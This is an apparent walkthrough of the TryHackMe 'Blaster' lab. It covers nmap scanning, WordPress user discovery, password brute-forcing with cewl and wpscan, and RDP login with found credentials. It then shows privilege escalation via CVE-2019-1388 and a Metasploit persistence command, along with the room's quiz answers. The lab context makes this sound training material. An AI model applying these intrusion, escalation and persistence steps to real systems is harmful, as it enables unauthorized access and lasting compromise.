TryHackMe - Blaster

Nmap

┌──(root💀kali)-[~]
└─# nmap -T4 -sC -sV -O -Pn -p- 10.10.133.249
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-15 10:24 EDT
Nmap scan report for 10.10.133.249
Host is up (0.22s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: RETROWEB
|   NetBIOS_Domain_Name: RETROWEB
|   NetBIOS_Computer_Name: RETROWEB
|   DNS_Domain_Name: RetroWeb
|   DNS_Computer_Name: RetroWeb
|   Product_Version: 10.0.14393
|_  System_Time: 2022-04-15T14:29:21+00:00
| ssl-cert: Subject: commonName=RetroWeb
| Not valid before: 2022-04-14T14:17:11
|_Not valid after:  2022-10-14T14:17:11
|_ssl-date: 2022-04-15T14:29:25+00:00; +2s from scanner time.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012|2016 (90%), FreeBSD 6.X (85%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 cpe:/o:freebsd:freebsd:6.2
Aggressive OS guesses: Microsoft Windows Server 2012 R2 (90%), Microsoft Windows Server 2016 (89%), FreeBSD 6.2-RELEASE (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 311.83 seconds
  • QUESTION: How many ports are open on our target system? 2

Initial Foothold

Port 80

image
  • QUESTION: Looks like there's a web server running, what is the title of the page we discover when browsing to it? IIS Windows Server

  • Gobuster

  • **QUESTION: Interesting, let's see if there's anything else on this web server by fuzzing it. What hidden directory do we discover? ** /retro

  • We have a /retro page, let's have a look

image
  • This is obviously a Wordpress, by looking around we know we have a username Wade

image
  • Let's run WPScan [OPTIONAL BUT FUN :D]

  • No other usernames are found. Let's try to bruteforce login

  • QUESTION: Navigate to our discovered hidden directory, what potential username do we discover? wade

  • Method 1: bruteforce with cewl

    • Let's generate a list of pass using cewl cewl http://10.10.133.249/retro/ > pass.txt

    • Let's bruteforce with wpscan wpscan --url http://10.10.133.249/retro --passwords Documents/tryhackme/blaster/pass.txt --usernames wade

  • Method 2: having a look at the comments

    • We find a note wade left to himselg Leaving myself a note here just in case I forget how to spell it: parzival

  • Connect to wordpress we can now go to the wordpress and login using the found password wade:parzival [OPTIONAL BUT FUN :D]

  • QUESTION Crawling through the posts, it seems like our user has had some difficulties logging in recently. What possible password do we discover? parzival

RDP

  • Let's try to connect to rdp with the same credentials xfreerdp /u:wade /v:10.10.191.161 /p:parzival

  • It works! image

  • Log into the machine via Microsoft Remote Desktop (MSRDP) and read user.txt. What are it's contents? - I let you find this one on your own :D

Privesc

  • When enumerating a machine, it's often useful to look at what the user was last doing. Look around the machine and see if you can find the CVE which was researched on this server. What CVE was it? cve-2019-1388

  • Looks like an executable file is necessary for exploitation of this vulnerability and the user didn't really clean up very well after testing it. What is the name of this executable? hhupd

  • Here is the video that shows how to use this exploit for privesc

  • Now that we've spawned a terminal, let's go ahead and run the command 'whoami'. What is the output of running this? nt authority\system

  • Now that we've confirmed that we have an elevated prompt, read the contents of root.txt on the Administrator's desktop. What are the contents? Keep your terminal up after exploitation so we can use it in task four! - I let you answer this question on your own :)

Persistence

  • Follow up the questions on THM and work accordingly

  • **Last but certainly not least, let's look at persistence mechanisms via Metasploit. What command can we run in our meterpreter console to setup persistence which automatically starts when the system boots? Don't include anything beyond the base command and the option for boot startup. ** run persistence -X

Last updated